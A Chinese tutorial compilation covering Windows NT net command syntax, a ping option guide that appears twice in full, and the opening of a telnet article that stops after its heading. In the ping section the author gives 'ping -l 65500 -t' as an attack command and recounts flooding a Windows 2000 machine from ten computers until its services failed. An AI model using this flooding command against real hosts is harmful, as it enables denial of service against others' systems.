网络命令全解(一)

时间:2021-06-12 12:08:35

net命令

许多 Windows NT 网络命令以 net 开始。这些 net 命令有一些公共属性:
通过键入 net /? 可查阅所有可用的 net 命令。
通过键入 net help 命令可在命令行中获得 net 命令的语法帮助。例如,要得到 net acco
unts 命令的帮助,请键入 net help accounts。
所有 net 命令接受选项 / yes 和 /no(可缩写为 / y 和 /n )。/ y 对命令产生的任何交互提示自动回答“是”,/n 回答“否”。例如,net stop server 通常提示确认是否根据服务器服务结束所有服务,net stop server /y 自动回答“是”并关闭服务器服务。

Net Accounts

更新用户帐号数据库、更改密码及所有帐号的登录要求。必须要在更改帐号参数的计算机上运行网络登录服务。
net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days |
unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
net accounts [/sync] [/domain]
参数

键入不带参数的 net accounts,将显示当前密码设置、登录时限及域信息。
/forcelogoff:{minutes | no}
设置当用户帐号或有效登录时间过期时,结束用户和服务器会话前的等待时间。no 选项禁止强行注销。该参数的默认设置为 no。 指定 /forcelogoff:minutes 之后,Windows NT 在其强制用户退出网络 minutes 分钟之前,将给用户发出警报。如果还有打开的文件,Windows NT 将警告用户。如果 minutes 小于两分钟,Windows NT 警告用户立即从网络注销。
/minpwlen:length
设置用户帐号密码的最少字符数。允许范围是 0-14,默认值为 6。
/maxpwage:{days | unlimited}
设置用户帐号密码有效的最大天数。unlimited 不设置最大天数。/maxpwage 选项的天数必须大于 /minpwage。允许范围是 1-49,710 天 (unlimited)。默认值为 90 天。
/minpwage:days
设置用户必须保持原密码的最小天数。 0 值不设置最小时间。允许范围是 0-49,710 天,默认值为 0 天。
/uniquepw:number
要求用户更改密码时,必须在经过 number 次后,才能重复使用与之相同的密码。允许范围是 0-8。默认值为 5。
/domain
在当前域的主域控制器上执行该操作。否则只在本地计算机执行操作。
该参数仅用于 Windows NT Server 域中的 Windows NT Workstation 计算机,Windows NT Server 计算机默认为在主域控制器执行操作。
/sync
当用于主域控制器时,该命令使域中所有备份域控制器同步;当用于备份域控制器时,该命令仅使该备份域控制器与主域控制器同步。该命令仅适用于 Windows NT Server 域成员的计算机。

Net Computer

从域数据库中添加或删除计算机。该命令仅在运行 Windows NT Server 的计算机上可用。
net computer /computername {/add | /del}
参数
/computername
指定要添加到域或从域中删除的计算机。
/add
将指定计算机添加到域。
/del
将指定计算机从域中删除。

Net Config

显示当前运行的可配置服务,或显示并更改某项服务的设置。
net config [service [options]]
参数

键入不带参数的 net config 将显示可配置服务的列表。
service
通过 net config 命令进行配置的服务(server 或 workstation)。
options
服务的特定选项。完整语法请参阅 net config server 或 net config workstation。

Net Config Server

运行服务时显示或更改服务器的服务设置。
net config server [/autodisconnect:time] [/srvcomment:"text "] [/hidden:{yes | n
o}]
参数

键入不带参数的 net config server,将显示服务器服务的当前配置。
/autodisconnect:time
设置断开前用户会话闲置的最大时间值。可以指定 -1,表示永不断开连接。允许范围是 -1-65535 分钟,默认值是 15 分钟。
/srvcomment:"text "
为服务器添加注释,可以通过 net view 命令在屏幕上显示所加注释。注释最多可达 48 个字符,文字要用引号引住。
/hidden:{yes | no}
指定服务器的计算机名是否出现在服务器列表中。请注意隐含某个服务器并不改变该服务器的权限。默认为 no。

Net Config Workstation

服务运行时,显示或更改工作站各项服务的设置。
net config workstation [/charcount:bytes] [/chartime:msec] [/charwait:sec]
参数

键入不带参数的 net config workstation 将显示本地计算机的当前配置。
/charcount:bytes
指定 Windows NT 在将数据发送到通讯设备之前收集的数据量。如果同时设置 /chartime:msec 参数,Windows NT 按首先满足条件的选项运行。允许范围是 0-65535 字节,默认值是16 字节。
/chartime:msec
指定 Windows NT 在将数据发送到通讯设备之前收集数据的时间。如果同时设置 /charcount:bytes 参数,Windows NT 按首先满足条件的选项运行。允许范围是 0-65535000 毫秒,默认值是 250 毫秒。
/charwait:sec
设置 Windows NT 等待通讯设备变为可用的时间。允许的范围是 0-65535 秒,默认值是 3600 秒。

Net Continue

重新激活挂起的服务。
net continue service
参数
service
能够继续运行的服务,包括: file server for macintosh(该服务仅限于 Windows NT Server), ftp publishing service, lpdsvc, net logon, network dde,network dde dsdm,nt lm security support provider,remoteboot(该服务仅限于 Windows NT Server),remote access server, schedule,server,simple tcp/ip services 及 workstation 。


Net File

显示某服务器上所有打开的共享文件名及锁定文件数。该命令也可以关闭个别文件并取消文件锁定。
net file [id [/close]]
参数

键入不带参数的 net file 可获得服务器上打开文件的列表。
id
文件标识号。
/close
关闭打开的文件并释放锁定记录。请从共享文件的服务器中键入该命令。

Net Group

在 Windows NT Server 域中添加、显示或更改全局组。该命令仅在 Windows NT Server 域中可用。
net group [groupname [/comment:"text "]] [/domain]
net group groupname {/add [/comment:"text "] | /delete} [/domain]
net group groupname username [ ...] {/add | /delete} [/domain]
参数

键入不带参数的 net group 可以显示服务器名称及服务器的组名称。
groupname
要添加、扩展或删除的组。仅提供某个组名便可查看组中的用户列表。
/comment:"text "
为新建组或现有组添加注释。注释最多可以是 48 个字符,并用引号将注释文字引住。
/domain
在当前域的主域控制器中执行该操作,否则在本地计算机上执行操作。
该参数仅用于作为 Windows NT Server 域成员的 Windows NT Workstation 计算机。Windows NT Server 计算机默认为在主域控制器中操作。
username[ ...]
列表显示要添加到组或从组中删除的一个或多个用户。使用空格分隔多个用户名称项。
/add
添加组或在组中添加用户名。必须使用该命令为添加到组中的用户建立帐号。
/delete
删除组或从组中删除用户名。

Net Help

提供网络命令列表及帮助主题,或提供指定命令或主题的帮助。可用网络命令列于 N 下面的“命令参考”中“命令”窗口内。
net help [command]
net command {/help | /?}
参数

键入不带参数的 net help 显示能够获得帮助的命令列表和帮助主题。
command
需要其帮助的命令,不要将 net 作为 command 的一部分。
/help
提供显示帮助文本方式选择。
/?
显示命令的正确语法。

Net Helpmsg

提供 Windows NT 错误信息的帮助。
net helpmsg message#
参数
message#
需要其帮助的 Windows NT 消息的四位代码。

Net Localgroup

添加、显示或更改本地组。
net localgroup [groupname [/comment:"text "]] [/domain]
net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
net localgroup groupname name [ ...] {/add | /delete} [/domain]
参数

键入不带参数的 net localgroup 将显示服务器名称和计算机的本地组名称。
groupname
要添加、扩充或删除的本地组名称。只提供 groupname 即可查看用户列表或本地组中的全局组。
/comment: "text "
为新建或现有组添加注释。注释文字的最大长度是 48 个字符,并用引号引住。
/domain
在当前域的主域控制器中执行操作,否则仅在本地计算机上执行操作。
该参数仅应用于 Windows NT Server 域中的 Windows NT Workstation 计算机。Windows NT Server 计算机默认为在主域控制器中操作。
name [ ...]
列出要添加到本地组或从本地组中删除的一个或多个用户名或组名,多个用户名或组名之间以空格分隔。可以是本地用户、其他域用户或全局组,但不能是其他本地组。如果是其他域的用户,要在用户名前加域名(例如,SALESRALPHR)。
/add
将全局组名或用户名添加到本地组中。在使用该命令将用户或全局组添加到本地组之前,必
须为其建立帐号。
/delete
从本地组中删除组名或用户名。

Net Name

添加或删除消息名(有时也称别名),或显示计算机接收消息的名称列表。要使用 net name 命令,计算机中必须运行信使服务。
net name [name [/add | /delete]]
参数

键入不带参数的 net name 将列出当前使用的名称。
name
指定接收消息的名称。名称最多为 15 个字符。
/add
将名称添加到计算机中。 /add 是可选项,键入 net name name 与键入 net name name /add 相同。
/delete
从计算机中删除名称。

Net Pause

暂停正在运行的服务。
net pause service
参数
service
指下列服务: file server for macintosh(仅限于 Windows NT Server)、ftp publishing service、lpdsvc、net logon、network dde、network dde dsdm、nt lm security support provider、remoteboot(仅限于 Windows NT Server)、remote access server、schedule、server、simple tcp/ip services 或 workstation 。

Net Print

显示或控制打印作业及打印队列。
net print /computername sharename
net print [/computername ] job# [/hold | /release | /delete]
参数
computername
共享打印机队列的计算机名。
sharename
打印队列名称。当包含 computername 与 sharename 时,使用反斜杠 () 将它们分开。
job#
在打印机队列中分配给打印作业的标识号。有一个或多个打印机队列的计算机为每个打印作业分配唯一标识号。如果某个作业号用于共享打印机队列中,则不能指定给其他作业,也不能分配给其他打印机队列中的作业。
/hold
使用 job# 时,在打印机队列中使打印作业等待。打印作业停留在打印机队列中,并且其他打印作业只能等到释放该作业之后才能进入。
/release
释放保留的打印作业。
/delete
从打印机队列中删除打印作业。

Net Send

向网络的其他用户、计算机或通信名发送消息。要接收消息必须运行信使服务。
net send {name | * | /domain[:name] | /users} message
参数
name
要接收发送消息的用户名、计算机名或通信名。如果计算机名包含空字符,则要将其用引号(" ") 引住。
*
将消息发送到组中所有名称。
/domain[:name]
将消息发送到计算机域中的所有名称。如果指定 name,则消息将发送到指定域或组中的所有名称。
/users
将消息发送到与服务器连接的所有用户。
message
作为消息发送的文本。

Net Session

列出或断开本地计算机和与之连接的客户端的会话。
net session [/computername] [/delete]
参数

键入不带参数的 net session 可以显示所有与本地计算机的会话的信息。
/computername
标识要列出或断开会话的计算机。
/delete
结束与 /computername 计算机会话并关闭本次会话期间计算机的所有打开文件。如果省略/computername 参数,将取消与本地计算机的所有会话。

Net Share

创建、删除或显示共享资源。
net share sharename
net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
net share sharename [/users:number | unlimited] [/remark:"text"]
net share {sharename | drive:path} /delete
参数

键入不带参数的 net share 将显示本地计算机上所有共享资源的信息。
sharename
是共享资源的网络名称。键入带 sharename 的 net share 命令,只显示该共享信息。
drive:path
指定共享目录的绝对路径。
/users:number
设置可同时访问共享资源的最大用户数。
/unlimited
不限制同时访问共享资源的用户数。
/remark:"text "
添加关于资源的注释,注释文字用引号引住。
/delete
停止共享资源。

Net Start

启动服务,或显示已启动服务的列表。如果服务名是两个或两个以上的词,如 Net Logon 或Computer Browser,则必须用引号 (") 引住。.
net start [service]
参数

键入不带参数的 net start 则显示运行服务的列表。
service
包括下列服务: alerter、client service for netware、clipbook server、computer browser、dhcp client 、directory replicator 、eventlog 、ftp publishing service 、lpdsvc、messenger 、net logon 、network dde 、network dde dsdm 、network monitoring agent 、nt lm security support provider 、ole 、remote access connection manager 、remote access isnsap service 、remote access server 、remote procedure call (rpc) locator 、remote procedure call (rpc) service 、schedule 、server 、simple tcp/ip services 、snmp、spooler 、tcp/ip netbios helper 、ups 及 workstation

下列服务仅在 Windows NT Server 下可用:file server for macintosh、gateway service for netware、microsoft dhcp server、print server for macintosh、remoteboot、windows internet name service 。

Net Statistics

显示本地工作站或服务器服务的统计记录。
net statistics [workstation | server]
参数

键入不带参数的 net statistics 将列出其统计信息可用的运行服务。
workstation
显示本地工作站服务的统计信息。
server
显示本地服务器服务的统计信息。

Net Stop

停止 Windows NT 网络服务。
net stop service
参数
service
包括下列服务: alerter(警报)、client service for netware(Netware 客户端服务)、clipbook server(剪贴簿服务器)、computer browser(计算机浏览器)、directory replicator(目录复制器)、ftp publishing service (ftp )(ftp 发行服务)、lpdsvc、messenger(信使)、net logon(网络登录)、network dde(网络 dde)、network dde dsdm(网络 dde dsdm)、network monitor agent(网络监控代理)、nt lm security support provider(NT LM 安全性支持提供)、ole(对象链接与嵌入)、remote access connection manager(远程访问连接管理器)、remote access isnsap service(远程访问 isnsap 服务)、remote access server(远程访问服务器)、remote procedure call (rpc) locator(远程过程调用定位器)、remote procedure call (rpc) service(远程过程调用服务)、schedule(调度)、server(服务器)、simple tcp/ip services(简单 TCP/IP 服务)、snmp、spooler(后台打印程序)、tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)、ups 及 workstation(工作站)。
下列服务仅在 Windows NT Server 中可用: file server for macintosh、gateway service for netware、microsoft dhcp server、print server for macintosh、remoteboot、windows internet name service。

Net Time

使计算机的时钟与另一台计算机或域的时间同步。不带 /set 参数使用时,将显示另一台计算机或域的时间。
net time [/computername | /domain[:name]] [/set]
参数
/computername
要检查或同步的服务器名。
/domain[:name]
指定要与其时间同步的域。
/set
使本计算机时钟与指定计算机或域的时钟同步。

Net Use

连接计算机或断开计算机与共享资源的连接,或显示计算机的连接信息。该命令也控制永久网络连接。
net use [devicename | *] [/computernamesharename[volume]] [password | *]] [/user:[domainname]username] [[/delete] | [/persistent:{yes | no}]] net use devicename [/home[password | *]] [/delete:{yes | no}] net use [/persistent:{yes | no}]
参数

键入不带参数的 net use 将列出网络连接。
devicename
指定要连接到的资源名称或要断开的设备名称。有两类设备名:磁盘驱动器(D: 到 Z:)和打印机(LPT1: 到 LPT3)。若键入星号而不是指定设备名将分配下一个可用设备名。
/computernamesharename
服务器及共享资源的名称。如果计算机名包含空白字符,要用引号 (" ") 将双反斜线及计算机名引住。计算机名长度可以是 1-15 个字符。
volume
指定服务器上的 NetWare 卷。要连接到 NetWare 服务器,必须安装并运行 NetWare 客户机服务 (Windows NT Workstation) 或 NetWare 网关服务 (Windows NT Server)。
password
访问共享资源的密码。
*
提示键入密码。在密码提示行中键入密码时,将不显示该密码。
/user
指定进行连接的另外一个用户。
domainname
指定另一个域。例如 net use d: /servershare /user:adminmariel 连接用户 mariel,如同从 admin 域连接一样。如果省略域,将使用当前登录域。
username
指定登录的用户名。
/home
将用户连接到其宿主目录。
/delete
取消指定网络连接。如果用户以星号指定连接,则取消所有网络连接。
/persistent
控制永久网络连接的使用。默认为上次使用的设置。无设备的连接不是永久的。
yes
保存建立的所有连接,并在下次登录时还原。
no
不保存建立的连接和继发连接,并在下次登录时还原现有连接。使用 /delete 开关项取消永久连接。

Net User

添加或更改用户帐号或显示用户帐号信息。
net user [username [password | *] [options]] [/domain]
net user username {password | *} /add [options] [/domain]
net user username [/delete] [/domain]
参数

键入不带参数的 net user 将查看计算机上的用户帐号列表。
username
添加、删除、更改或查看用户帐号名。用户帐号名最多可以有 20 个字符。
password
为用户帐号分配或更改密码。密码必须满足在 net accounts 命令 /minpwlen 选项中设置的最小参数。最多是 14 个字符。
*
提示输入密码。在密码提示行中键入密码时,将不显示该密码。
/domain
在计算机主域的主域控制器中执行操作。
该参数仅在 Windows NT Server 域成员的 Windows NT Workstation 计算机上可用。默认情况下,Windows NT Server 计算机在主域控制器中执行操作。
注意:在计算机主域的主域控制器发生该动作。它可能不是登录域。
/add
将用户帐号添加到用户帐号数据库。
/delete
从用户帐号数据库中删除用户帐号。
选项如下所示:
/active:{no | yes}
启用或禁止用户帐号。如果不激活用户帐号,用户就不能访问计算机上的资源。默认值是 yes (激活)。
/comment:"text"
提供用户帐号的注释。该注释最多可以有 48 个字符,文字用引号引住。
/countrycode:nnn
使用操作系统的国家代码以便为用户帮助和错误信息文件提供指定语言文件。0 值表示默认国家代码。
/expires:{date | never}
如果设置 date,将导致用户帐号过期,never 不对用户帐号设置时间限制。过期日期根据 /countrycode 值可以是下列格式: mm/dd/yy、dd/mm/yy 或 mmm, dd, yy。注意帐号在指定日期开始时过期。月份可以是数字、全名或三个字母的简拼。年可以是两位或四位数,使用逗号或斜线(不要用空格) 区分日期的各部分。如果省略 yy ,则使用该日期下一次到来的年份(根据计算机的时钟)。例如如果在 1994 年 1 月 10 日到 1995 年 1 月 8 日之间输入下列日期项,那它们相同:jan,9 1/9/95
january,9,1995
1/9
/fullname:"name"
指定用户全名而不是用户名。用引号将名字引住。
/homedir:path
设置用户宿主目录的路径。该路径必须存在。
/homedirreq:{yes | no}
设置是否需要宿主目录。
/passwordchg:{yes | no}
指定用户是否能改变自己的密码。默认值是 yes。
/passwordreq:{yes | no}
指定用户帐号是否需要密码,默认值是 yes。
/profilepath:[path]
设置用户登录配置文件的路径。该路径名指向注册表配置文件。
/scriptpath:path
为用户登录脚本设置路径。Path 不能是绝对路径;
path 是相对于 %systemroot%SYSTEM32REPLIMPORTSCRIPTS 的相对路径:。
/times:{times | all}
指定允许用户使用计算机的时间。times 值表示为 day[-day][, day[-day]] , time[-time][, time[-time]], 增量限制为一小时。Days 可以是全名或简写(M、T、W、Th、F、Sa、Su)。Hours 可以是 12 小时制或 24 小时制。对于 12 小时值,使用 AM、PM 或 A.M、P.M。all 表示用户总可以登录。空值表示用户永远不能登录。用逗号分隔日期和时间,分隔时间和日期的单位用分号(例如 M,4AM-5PM; T,1PM-3PM)。指定 /times 时不要使用空格。
/usercomment:"text "
让管理员添加或更改帐号的“用户注释”。用引号引住文字。
/workstations:{computername[,...] | *}
列出最多八个用户可以登录到网络的工作站。用逗号分隔列表中的多个项。如果 /workstations 没有列表,或如果列表是星号“*”,则用户可以从任何一台计算机登录。

Net View

显示域列表、计算机列表或指定计算机的共享资源列表。
net view [/computername | /domain[:domainname]]
net view /network:nw [/computername]
参数

键入不带参数的 net view 将显示当前域的计算机列表。
/computername
指定要查看其共享资源的计算机。
/domain[:domainname]
指定要查看其可用计算机的域。如果省略 domainname ,则显示网络的所有域。
/network:nw
显示 NetWare 网络中所有可用的服务器。如果指定计算机名,则显示 NetWare 网络中该计算机的可用资源。也可以用此开关指定添加到系统中的其他网络。  

 

ping命令详解

对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-wz timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。


-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。

-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。


-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。


-f Set Don't Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。


-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。


-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。

-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。


-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。


-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。


-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。


-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
  128---80
  64----40
  32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。



对于Windows下ping命令相信大家已经再熟悉不过了,但是能把ping的功能发挥到最大的人却并不是很多,当然我也并不是说我可以让ping发挥最大的功能,我也只不过经常用ping这个工具,也总结了一些小经验,现在和大家分享一下。
现在我就参照ping命令的帮助说明来给大家说说我使用ping时会用到的技巧,ping只有在安装了TCP/IP协议以后才可以使用:
ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [[-j computer-list] | [-k computer-list]] [-w timeout] destination-list
Options:
-t Ping the specified host until stopped.To see statistics and continue - type Control-Break;To stop - type Control-C.
不停的ping地方主机,直到你按下Control-C。
此功能没有什么特别的技巧,不过可以配合其他参数使用,将在下面提到。

-a Resolve addresses to hostnames.
解析计算机NetBios名。
示例:C:\>ping -a 192.168.1.21
Pinging iceblood.yofor.com [192.168.1.21] with 32 bytes of data:
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Reply from 192.168.1.21: bytes=32 time<10ms TTL=254
Ping statistics for 192.168.1.21:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
从上面就可以知道IP为192.168.1.21的计算机NetBios名为iceblood.yofor.com。

-n count Number of echo requests to send.
发送count指定的Echo数据包数。
在默认情况下,一般都只发送四个数据包,通过这个命令可以自己定义发送的个数,对衡量网络速度很有帮助,比如我想测试发送50个数据包的返回的平均时间为多少,最快时间为多少,最慢时间为多少就可以通过以下获知:
C:\>ping -n 50 202.103.96.68
Pinging 202.103.96.68 with 32 bytes of data:
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Request timed out.
………………
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Reply from 202.103.96.68: bytes=32 time=50ms TTL=241
Ping statistics for 202.103.96.68:
Packets: Sent = 50, Received = 48, Lost = 2 (4% loss),Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 51ms, Average = 46ms
从以上我就可以知道在给202.103.96.68发送50个数据包的过程当中,返回了48个,其中有两个由于未知原因丢失,这48个数据包当中返回速度最快为40ms,最慢为51ms,平均速度为46ms。


-l size Send buffer size.
定义echo数据包大小。
在默认的情况下windows的ping发送的数据包大小为32byt,我们也可以自己定义它的大小,但有一个大小的限制,就是最大只能发送65500byt,也许有人会问为什么要限制到65500byt,因为Windows系列的系统都有一个安全漏洞(也许还包括其他系统)就是当向对方一次发送的数据包大于或等于65532时,对方就很有可能挡机,所以微软公司为了解决这一安全漏洞于是限制了ping的数据包大小。虽然微软公司已经做了此限制,但这个参数配合其他参数以后危害依然非常强大,比如我们就可以通过配合-t参数来实现一个带有攻击性的命令:(以下介绍带有危险性,仅用于试验,请勿轻易施于别人机器上,否则后果自负)
C:\>ping -l 65500 -t 192.168.1.21
Pinging 192.168.1.21 with 65500 bytes of data:
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
Reply from 192.168.1.21: bytes=65500 time<10ms TTL=254
………………
这样它就会不停的向192.168.1.21计算机发送大小为65500byt的数据包,如果你只有一台计算机也许没有什么效果,但如果有很多计算机那么就可以使对方完全瘫痪,我曾经就做过这样的试验,当我同时使用10台以上计算机ping一台Win2000Pro系统的计算机时,不到5分钟对方的网络就已经完全瘫痪,网络严重堵塞,HTTP和FTP服务完全停止,由此可见威力非同小可。


-f Set Don't Fragment flag in packet.
在数据包中发送“不要分段”标志。
在一般你所发送的数据包都会通过路由分段再发送给对方,加上此参数以后路由就不会再分段处理。


-i TTL Time To Live.
指定TTL值在对方的系统里停留的时间。
此参数同样是帮助你检查网络运转情况的。


-v TOS Type Of Service.
将“服务类型”字段设置为 tos 指定的值。

-r count Record route for count hops.
在“记录路由”字段中记录传出和返回数据包的路由。
在一般情况下你发送的数据包是通过一个个路由才到达对方的,但到底是经过了哪些路由呢?通过此参数就可以设定你想探测经过的路由的个数,不过限制在了9个,也就是说你只能跟踪到9个路由,如果想探测更多,可以通过其他命令实现,我将在以后的文章中给大家讲解。以下为示例:
C:\>ping -n 1 -r 9 202.96.105.101 (发送一个数据包,最多记录9个路由)

Pinging 202.96.105.101 with 32 bytes of data:

Reply from 202.96.105.101: bytes=32 time=10ms TTL=249
Route: 202.107.208.187 ->
202.107.210.214 ->
61.153.112.70 ->
61.153.112.89 ->
202.96.105.149 ->
202.96.105.97 ->
202.96.105.101 ->
202.96.105.150 ->
61.153.112.90

Ping statistics for 202.96.105.101:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms
从上面我就可以知道从我的计算机到202.96.105.101一共通过了202.107.208.187 ,202.107.210.214 , 61.153.112.70 , 61.153.112.89 , 202.96.105.149 , 202.96.105.97这几个路由。


-s count Timestamp for count hops.
指定 count 指定的跃点数的时间戳。
此参数和-r差不多,只是这个参数不记录数据包返回所经过的路由,最多也只记录4个。


-j host-list Loose source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔(路由稀疏源)IP 允许的最大数量为 9。


-k host-list Strict source route along host-list.
利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔(路由严格源)IP 允许的最大数量为 9。


-w timeout Timeout in milliseconds to wait for each reply.
指定超时间隔,单位为毫秒。
此参数没有什么其他技巧。

ping命令的其他技巧:在一般情况下还可以通过ping对方让对方返回给你的TTL值大小,粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列,一般情况下Windows系列的系统返回的TTL值在100-130之间,而UNIX/Linux系列的系统返回的TTL值在240-255之间,当然TTL的值在对方的主机里是可以修改的,Windows系列的系统可以通过修改注册表以下键值实现:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"DefaultTTL"=dword:000000ff
255---FF
  128---80
  64----40
  32----20
好了,ping命令也基本上完全讲解完了,其中还有-j,-k参数我还没有详细说明,由于某些原因也包括我自己所收集的资料过少这里也没有向大家详细介绍,请大家见谅,如果在看了这篇文章的朋友当中有知道得比我更多的,以及其他使用技巧的也希望您能告诉我,并在此先谢过。

 

telnet命令详解

一 摘要

Telnet的应用不仅方便了我们进行远程登录,也给hacker们提供了又一种入侵手段和后门,但无论如何,在你尽情享受Telnet所带给你的便捷的同时,你是否真正的了解Telnet呢?

二 远程登录

